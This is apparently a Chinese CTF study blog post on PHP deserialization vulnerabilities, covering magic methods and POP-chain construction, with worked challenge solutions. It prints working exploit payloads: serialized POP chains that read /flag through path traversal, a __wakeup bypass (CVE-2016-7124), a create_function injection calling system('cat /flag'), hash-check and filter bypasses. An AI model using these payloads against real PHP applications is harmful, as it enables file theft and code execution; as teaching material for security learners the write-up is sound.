初识PHP反序列化

PHP反序列化

简介

什么是反序列化?
反序列化是将数据从序列化的形式(通常是字节流、JSON、XML等格式)转换为原始数据结构或对象的过程。序列化和反序列化是在数据存储、数据传输和数据交换方面常见的概念。

序列化(Serialization): 将对象或数据结构转换为可存储或传输的形式,通常是字节流或字符串。序列化的目的是将内存中的对象转换为可以持久化或传输的格式,以便在需要时能够还原为原始的对象。

反序列化(Deserialization): 将序列化后的数据重新转换为原始的对象或数据结构。反序列化是序列化的逆过程,它从序列化的形式还原出原始的对象,以便在程序中使用。

常见的序列化格式包括:

1、JSON(JavaScript Object Notation): 一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。

{"name": "John", "age": 30, "city": "New York"}

2、XML(eXtensible Markup Language): 一种标记语言,用于存储和传输数据。

<person>
    <name>Johnname>
    <age>30age>
    <city>New Yorkcity>
person>

3、pickle(Python 特有的序列化格式): Python 中的序列化模块,可以将 Python 对象序列化为二进制格式。

import pickle

data = {"name": "John", "age": 30, "city": "New York"}
serialized_data = pickle.dumps(data)

4、Protocol Buffers(protobuf): 一种由 Google 开发的二进制序列化格式,用于高效地存储和交换结构化数据。


实例

serialize()


$sites = array('Google', 'Runoob', 'Facebook');
$serialized_data = serialize($sites);
echo  $serialized_data;
?>

输出结果:

a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}

unserialize()


$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>

输出结果为:

Array
(
    [0] => Google
    [1] => Runoob
    [2] => Facebook
)
  
class TEST{
    public $test1="11";  //公有的
    private $test2="22";  //私有的
    protected $test3="33";  //保护的
    public function test4()
    {
        echo $this->test1;
    }
}
$a=new TEST();
echo serialize($a);
O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:"TESTtest2";s:2:"22";s:8:"*test3";s:2:"33";}

public(公有):公有的类成员可以在**任何地方被访问,**属性被序列化的时候属性值会变成 属性名

protected(受保护):受保护的类成员则可以**被其自身以及其子类和父类访问,**属性被序列化的时候属性值会变成 \x00\*\x00属性名

private(私有):私有的类成员则**只能被其定义所在的类访问,**属性被序列化的时候属性值会变成 \x00类名\x00属性名

\x00表示空字符,占有一个字符位置

php序列化的字母标识

字母标识 数据类型
a array
b boolean
d double
i integer
o common object
r reference
s string
C custom object
O class
N pointer reference
R unicode string
U NULL

php魔术方法

  • php类中包含了一些魔术方法,这些函数可以在代码中任何地方不用声明就可以使用

  • 与PHP(反)序列化有关的魔术方法

  • 反序列化魔术方法

方法 解释
__construct() 对象创建(new)时会自动调用
__destruct 对象被销毁时触发
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发

不可访问的两层含义:

  1. 不存在
  2. 无权限,例如private

技巧思路

  1. 首先找起始和结尾, 万能用的起始:
    1. __wakeup() 完美的起始
    2. __destruct() 完美的起始
  2. 通过反序列化可以给属性进行任意赋值,因此只要是属性,其值我们完全可控
  3. 首尾相连,找链式调用,注意不要被变量名骗了,一定要找到所有的可能性
  4. 本地构造序列化,反着写! 哪个类是最后调用的就先new哪个类

反序列化的常见起点:

__wakeup 一定会调用 //使用unserialize时触发

__destruct 一定会调用 //对象被销毁时触发

__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this-> $func();

反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

例题:2022网鼎杯白虎组web(php反序列化)



class abaaba{
    protected $DoNotGet;
	//__get()用于从不可访问的属性读取数据
    public function __get($name){	//3
        $this->DoNotGet->$name = "two";
        return $this->DoNotGet->$name;
    }
	//__toString()把类当作字符串使用时触发
    public function __toString(){	//4
        return $this->Giveme;
    }
}

class Onemore{

    public $file;
    private $filename = "one";

    public function __construct(){
        $this->readfile("images/def.jpg");
    }

    public function readfile($f){	//1、读取函数
        $this->file = isset($f) ? $f : 'image'.$this->file;
        echo file_get_contents(safe($this->file));
    }

    public function __invoke(){
        return $this->filename->Giveme;
    }
}

class suhasuha{
    private $Giveme;
    public $action;
	//__set()用于将数据写入不可访问的属性
    public function __set($name, $value){	//2、执行函数	
        $this->Giveme = ($this->action)();
        return $this->Giveme;
    }
}

class One{
    public $count;

    public function __construct(){
        $this->count = "one";
    }

    public function __destruct(){
        echo "try ".$this->count." again";	//5
    }

}

function safe($path){
    $path = preg_replace("/.*\/\/.*/", "", $path);
    $path = preg_replace("/\..\..*/", "!", $path);
    $path = htmlentities($path);
    return strip_tags($path);
}

if(isset($_GET['game'])){
    unserialize($_GET['game']);
}
else{
    show_source(__FILE__);
}

源码分析

  1. 类 abaaba:
    实现了 __get 方法,用于从不可访问的属性读取数据。
    实现了 __toString 方法,当将类当作字符串使用时触发。
  2. 类 Onemore:
    包含一个公共属性 $file 和一个私有属性 $filename。
    在构造函数中调用了 readfile 方法,该方法接受一个参数并设置 $file 的值,然后调用 file_get_contents 读取文件内容。
    实现了 __invoke 方法,允许将对象当作函数调用,返回私有属性 $filename 的属性 Giveme。
  3. 类 suhasuha:
    包含私有属性 $Giveme 和公共属性 $action。
    实现了 __set 方法,用于将数据写入不可访问的属性。在这里,它调用了 $action 的结果并将其赋值给 $Giveme。
  4. 类 One:
    包含一个公共属性 $count。
    在构造函数中设置 $count 的值。
    实现了 __destruct 方法,在对象被销毁时输出一条信息。
  5. 全局函数 safe:
    对传入的路径进行一系列操作,包括正则表达式替换和 HTML 转义,以确保路径的相对安全性。
  6. 全局代码:
    通过 show_source(FILE) 显示当前文件的源代码。
    如果存在 GET 参数 game,则执行 unserialize($_GET[‘game’]),存在反序列化漏洞的风险。

类Onemore的file变量可控,就可通过自定义函数中readfile中的file_get_contents函数来读取flag,问题是触发readfile执行函数?

在类suhasuha中,__set魔术方法存在$this->Giveme = ( $this->action)()的函数调用,而action是该类的成员变量(可控的),将Onemore::readfile函数传递给action即可调用readfile函数。问题是触发suhasuha类的__set方法?

在类abaaba的__get方法中存在 $ this->DoNotGet-> $ name = “two”。对未定义的name赋值,及对一个未定义的属性进行赋值时会触发__set魔术方法,那么将DoNotGet赋值为new suhasuha(),会触发该类的__set方法。如何触发类abaaba中的__get方法?同理类abaaba中的__toString方法中$this->Giveme访问了未定义的属性,则会触发类abaaba的__get方法。

而触发__toString方法需要将一个类作为字符串使用,可以找到在类One中析构方法__destruct存在echo “try”.$this->count.“again”拼接字符串行为,那么将count赋值为new abaaba(),那么此处就会触发类abaaba中的tostring方法。

综上所述,正向攻击设置new One()–>count=new abaaba(),new abaaba()–>DoNotGet=new suhasuha(),new suhasuha()->action = [new Onemore(),”readfile”];

攻击执行流程为:new abaaba()->tostring->get->new suhasuha()->__set->new Onemore()->readfile。

最后注意safe函数用%00绕过。

payload


class abaaba{
    protected $DoNotGet;
    public function __get($name){
        $this->DoNotGet->$name = "two";
        return $this->DoNotGet->$name;
    }

    public function __toString(){
        return $this->Giveme;
    }

    public function __construct($obj){
    	$this->DoNotGet = $obj;
    }
}
class Onemore{
    public $file;
    private $filename;

    public function __construct(){
        $this->readfile("images/def.jpg");
    }

    public function readfile($f){
        $this->file = isset($f) ? $f : 'image'.$this->file;
        echo file_get_contents(safe($this->file));
    }

    public function __invoke(){
        return $this->filename->Giveme;
    }

}
class suhasuha{
    private $Giveme;
    public $action;

    public function __set($name, $value){
        $this->Giveme = ($this->action)();
        return $this->Giveme;
    }

}
class One{
    public $count;

    public function __construct(){
        $this->count = "one";
    }

    public function __destruct(){
        echo "try ".$this->count." again";
    }
}
function safe($path){
    $path = preg_replace("/.*\/\/.*/", "", $path);
    $path = preg_replace("/\..\..*/", "!", $path);
    $path = htmlentities($path);
    return strip_tags($path);
}

$one = new One();
$suhasuha = new suhasuha();
$one->count = new abaaba($suhasuha);
$Onemore = new Onemore();
$Onemore->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");
$suhasuha->action = [$Onemore,"readfile"];

echo urlencode(serialize($one));
O%3A3%3A%22One%22%3A1%3A%7Bs%3A5%3A%22count%22%3BO%3A6%3A%22abaaba%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00DoNotGet%22%3BO%3A8%3A%22suhasuha%22%3A2%3A%7Bs%3A16%3A%22%00suhasuha%00Giveme%22%3BN%3Bs%3A6%3A%22action%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A7%3A%22Onemore%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A41%3A%22%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2Fflag%22%3Bs%3A17%3A%22%00Onemore%00filename%22%3BN%3B%7Di%3A1%3Bs%3A8%3A%22readfile%22%3B%7D%7D%7D%7D

构造序列化字符串时给属性任意赋值的三种方法

 

class Test {
    public $name = 'test'; // 方法1: 直接属性上赋值。缺点:只能赋值字符串/数组/数字等,不能赋值为一个对象
    public $obj;
    public $boi;

    public function __construct($obj) {
        $this->obj = $obj; // 方法2: 构造方法赋值,可以任意赋值,万能!
    }
}

$test = new Test("xxx");
$test->boi = "xxx"; // 方法3: 外部赋值,可以赋值为任意类型。缺点:只能给public属性赋值,不能给protected/private属性赋值,不推荐

数组调用特性

在函数调用场景下进行任意类下方法执行


error_reporting(0);
class GetFlag
{
    public $code;
    public $action;
    public function get_flag(){
        echo "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}\n";
        echo $this->code . $this->action;
    }
}
// [new Object,“func”]() 会去调用Object对象的func方法

$g = new GetFlag();
$g->code = 'code';
$g->action = 'action';

[$g, 'get_flag'](); // 数组第⼀个元素是对象,第⼆个元素是⽅法名,就会调⽤该对象下该⽅法。


绕过wakeup(CVE-2016-7124)


error_reporting(0);
highlight_file(__FILE__);
class Test
{
    public $cmd;
    public function __wakeup()
    {
        $this->cmd = 'hahaha';
    }
    public function __destruct() {
		echo $this->cmd;
        system($this->cmd);
    }
}
unserialize($_GET['a']);

绕过⽅法:序列化字符串中表示对象属性个数的值⼤于真实的属性个数时会跳过wakeup()的执⾏。


class Test
{
    public $cmd;
    public function __construct(){
        $this->cmd = 'whoami';
    }
}
$a = new Test;
echo serialize($a);

输出:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}

修改属性个数后:O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}


绕过序列化字符串中关键字的过滤

利用十六进制绕过

将序列化字符串中的 s 改为 S ,具体的字符串值可以⽤ \ + ⼗六进制 的形式表⽰ ⽤处:绕过对序列化字符串的关键字的过滤

O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";s:4:"john";}

O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";S:4:"\6a\6f\68\6e";}


O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
O:4:"Test":1:{s:3:"cmd";S:6:"\77\68\6f\61\6d\69";}

利用引用绕过

指针问题


class test {
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'aaa';
    }
    public function __destruct(){
        if($this->a === $this->b) {
            echo 'you success';
        }
    }
}
if(isset($_REQUEST['input'])) {
    if(preg_match('/aaa/', $_REQUEST['input'])) {
        die('nonono');
    }

可以利⽤引⽤进⾏绕过

要$this->a 等于 $this->b ,那么就 $this->a = & $this->b;


class test {
    public $a;
    public $b;
    public function __construct(){
        $this->b = &$this->a;
    }
}
$a = serialize(new test());
echo $a;
//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}

构造引⽤使得 $b 和 $a 地址相同从⽽绕过检测,达成要求

绕过正则过滤对象字符串开头O:

如preg_match(‘/^O:\d+/’)匹配序列化字符串是否是对象字符串开头

绕过⽅法

  • 利⽤加号绕过(注意在url⾥传参时+要编码为%2B)。
  • 利⽤数组对象绕过,如 serialize(array( $a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素 的 $a的析构)。

class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function __destruct(){
        echo $this->a.PHP_EOL;
    }
}
function match($data){
    if (preg_match('/^O:\d+/',$data)){
        die('nonono!');
    }else{
        return $data;
    }
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// 将对象放⼊数组绕过 serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

快速析构 Fast Destruct

快速析构:让__destruct()放在反序列化后⽴刻触发,而不要等脚本执行完成后的垃圾回收销毁对象才触发

作用:绕过对反序列化成功后得到的对象的属性值的检测。

两种方法:

  1. 修改属性个数
  2. 删除最后的⼤括号

__destruct()相关

__destruct()是PHP对象的⼀个魔术⽅法,称为析构函数,顾名思义是当该对象被销毁的时候⾃动执⾏的⼀个函数。 其中以下情况会触发__destruct()

  • 主动调用unset($obj)
  • 主动调用$obj = NULL
  • 程序自动结束

除此之外,PHP还拥有垃圾回收Garbage collection即GC机制。

PHP中GC使用引用计数和回收周期⾃动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调⽤函数的__destruct()

当⼀个对象没有任何引⽤的时候,则会被视为“垃圾”

test 对象被变量 a 引⽤, 所以该对象不是“垃圾”

$a = new test();

⽽如果是这样

new test();

或这样

$a = new test();$a = 1

这样在 test 在没有被引用或在失去引⽤时便会被当作“垃圾”进⾏回收。


class test{
    function __construct($i)
    {
        $this->i = $i;
    }
    function __destruct()
    {
        echo $this->i."Destroy...\n";
    }
}
new test('1');
$a = new test('2');
$a = new test('3');
echo "————————————
"
;

输出

1Destroy...
2Destroy...
————————————
3Destroy...

绕过hash比较


使用 Error/Exception 内置类绕过哈希比较
Error 类

Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。

类摘要:

Error implements Throwable {
    /* 属性 */
    protected string $message ;
    protected int $code ;
    protected string $file ;
    protected int $line ;
    /* 方法 */
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
    final public getMessage ( ) : string
    final public getPrevious ( ) : Throwable
    final public getCode ( ) : mixed
    final public getFile ( ) : string
    final public getLine ( ) : int
    final public getTrace ( ) : array
    final public getTraceAsString ( ) : string
    public __toString ( ) : string
    final private __clone ( ) : void
}

类属性:

  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数

类方法:

方法 解释
Error::__construct 初始化 error 对象
Error::getMessage 获取错误信息
Error::getPrevious 返回先前的 Throwable
Error::getCode 获取错误代码
Error::getFile 获取错误发生时的文件
Error::getLine 获取错误发生时的行号
Error::getTrace 获取调用栈(stack trace)
Error::getTraceAsString 获取字符串形式的调用栈(stack trace)
Error::__toString error 的字符串表达
Error::__clone 克隆 error
Exception 类

Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。

类摘要:

Exception {
    /* 属性 */
    protected string $message ;
    protected int $code ;
    protected string $file ;
    protected int $line ;
    /* 方法 */
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
    final public getMessage ( ) : string
    final public getPrevious ( ) : Throwable
    final public getCode ( ) : mixed
    final public getFile ( ) : string
    final public getLine ( ) : int
    final public getTrace ( ) : array
    final public getTraceAsString ( ) : string
    public __toString ( ) : string
    final private __clone ( ) : void
}

类属性:

  • message:异常消息内容
  • code:异常代码
  • file:抛出异常的文件名
  • line:抛出异常在该文件中的行号

类方法:

方法 解释
Exception::__construct 异常构造函数
Exception::getMessage 获取异常消息内容
Exception::getPrevious 返回异常链中的前一个异常
Exception::getCode 获取异常代码
Exception::getFile 创建异常时的程序文件名称
Exception::getLine 获取创建的异常所在文件中的行号
Exception::getTrace 获取异常追踪信息
Exception::getTraceAsString 获取字符串类型的异常追踪信息
Exception::__toString 将异常对象转换为字符串
Exception::__clone 异常克隆

我们可以看到,在Error和Exception这两个PHP原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。

我们以Error为例,我们看看当触发他的 __toString 方法时会发生什么:


$a = new Error("payload",1);
echo $a;

输出如下:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

发现这将会以字符串的形式输出当前报错,包含当前的错误信息(“payload”)以及当前报错的行号(“2”),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

在来看看下一个例子:


$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

输出如下:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

可见,$a$b 这两个错误对象本身是不同的,但 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用,具体请看下面这道例题。

[2020 极客大挑战]Greatphp


error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

源代码解析:

  1. 类 SYCLOVER:
  • 包含两个公共属性 $syc 和 $lover。
  • 实现了 __wakeup 方法,该方法是 PHP 中的魔术方法,会在反序列化后立即调用。
  • __wakeup 方法中进行了一系列条件判断:
    • 检查 $syc 和 $lover 是否不相等。
    • 检查 $syc 和 $lover 的 MD5 散列值是否相等。
    • 检查 $syc 和 $lover 的 SHA-1 散列值是否相等。
    • 如果以上条件都满足,且 $ syc 中不包含 syc)。
    • 如果 $syc 中包含敏感字符,则输出 “Try Hard !!” 并终止程序。
  1. 全局代码:
  • 通过 highlight_file(FILE) 显示当前文件的源代码。
  • 如果存在 GET 参数 great,则执行 unserialize($_GET[‘great’]),存在反序列化漏洞的风险。
  1. 安全防范:
  • 通过 error_reporting(0) 关闭错误报告,以防止泄漏敏感信息。
  • 在 __wakeup 方法中使用了一系列条件判断,对输入进行验证和过滤,防止恶意代码执行。
  • 使用了 eval 函数执行反序列化后的代码,这是一个潜在的安全风险,因为 eval 允许执行任意代码。在生产环境中,最好避免使用 eval,而是使用更安全的替代方法。

解题

  • $a 和 $b 这两个对象本身是不同的,但 __toString 方法返回的结果是相同的,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。
  • Exception 类与 Error 的使用和结果完全一样。
  • 将题目代码中的 $syc 和 $lover 分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码即可),但是 __toString 方法输出的结果相同即可
  • 由于题目用preg_match过滤了小括号无法调用函数,所以尝试直接 include "/flag" 将flag包含进来即可;由于过滤了引号,直接用url取反绕过即可。

echo urlencode("/flag")
echo urlencode(~urldecode("%2f%66%6c%61%67"));
?>

输出

%d0%99%93%9e%98

~按位取反运算符:对数据的每个二进制位取反,即把1变为0,把0变为1。~x 类似于 -x-1


$str1 = "./flag";
$s = urlencode(~$str1);

$str = "?>.urldecode($s)."?>";
$a = new Exception($str , 1); $b = new Exception($str , 2);
class SYCLOVER {
    public $syc;
    public $lover;
    public function __construct($syc, $lover) {
        $this->syc = $syc;
        $this->lover = $lover;
    }
}
$syc = new SYCLOVER($a, $b);
echo urlencode(serialize($syc));

一些例题


数组调⽤特性

解题payload:


error_reporting(0);
// highlight_file(__FILE__);
$pwd = getcwd();
class func
{
    public $mod1;
    public $mod2;
    public $key;
    public function __construct()
    {
        $this->key = serialize([new GetFlag, "get_flag"]);
    }
}

class GetFlag
{
    public $code;
    public $action;
    public function __construct()
    {
        $this->code = ";}system('cat /flag');//";
        $this->action = "create_function";
    }
}

$a = new func();
echo urlencode(serialize($a));
O%3A4%3A%22func%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BN%3Bs%3A4%3A%22mod2%22%3BN%3Bs%3A3%3A%22key%22%3Bs%3A126%3A%22a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22GetFlag%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A24%3A%22%3B%7Dsystem%28%27cat+%2Fflag%27%29%3B%2F%2F%22%3Bs%3A6%3A%22action%22%3Bs%3A15%3A%22create_function%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7D%22%3B%7D

利用create-function来执行命令的

如果可控在第一个参数,需要闭合圆括号和大括号create_function('){}phpinfo();//', '');
如果可控在第二个参数,需要闭合大括号create_function('', '}phpinfo();//');

create_function任意代码执行原理

绕过序列化字符串中关键字的过滤


class Test
{
    public $cmd = 'cat /flag';
    public $name = 'john';
}
function decorate($top, $niddle, $hexstring)
{
    $arr = explode(':', $top);
    for ($i = 0; $i < count($arr); $i++) {
        if (strpos($arr[$i], $niddle) !== false) {
            $arr[$i - 2] = preg_replace('/s/', 'S', $arr[$i - 2]);
            $arr[$i] = str_replace($niddle, $hexstring, $arr[$i]);
        }
    }
    return join(':', $arr);
}
echo decorate(serialize(new Test), "john", '\6a\6f\68\6e');
O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";S:4:"\6a\6f\68\6e";}

绕过特定的某个关键字将序列化字符串中的 s 改为 S ,具体的字符串值可以用 \ + ⼗六进制的形式表示用处:绕过对序列化字符串的关键字的过滤。

快速析构 Fast Destruct

解题payload



class Test
{
    public $cmd;
    public $name;
    public function __construct() {
        $this->cmd = "cat /flag";
        $this->name = "john";
    }
}
$aa = new Test;
echo serialize($aa);

输出

O:4:"Test":2:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";}

然后使用下面的方法进行快速析构:

让__destruct()放在反序列化后⽴刻触发,⽽不要等脚本执⾏完成后的垃圾回收销毁对象才触发

绕过对反序列化成功后得到的对象的属性值的检测。

两种⽅法: 1. 修改掉属性个数 2. 删除最后的⼤括号

最终payload

O:4:"Test":3:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";}
O:4:"Test":2:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";

指针问题


class Seri{
    public $alize;
    public function __construct() {
        $this->alize = new Alize();
        $this->alize->t1 = &$this->alize->t2;
    }
}
class Alize{
    public $f = '/flag';
    public $t1;
    public $t2;
}
echo serialize(new Seri);

输出

O:4:"Seri":1:{s:5:"alize";O:5:"Alize":3:{s:1:"f";s:5:"/flag";s:2:"t1";N;s:2:"t2";R:4;}}

如果希望 $this->a 永远等于 $this->b ,那么就 $ this->a = &$this->b;

你可能感兴趣的:(WEB,CTF,PHP,php,网络安全,笔记)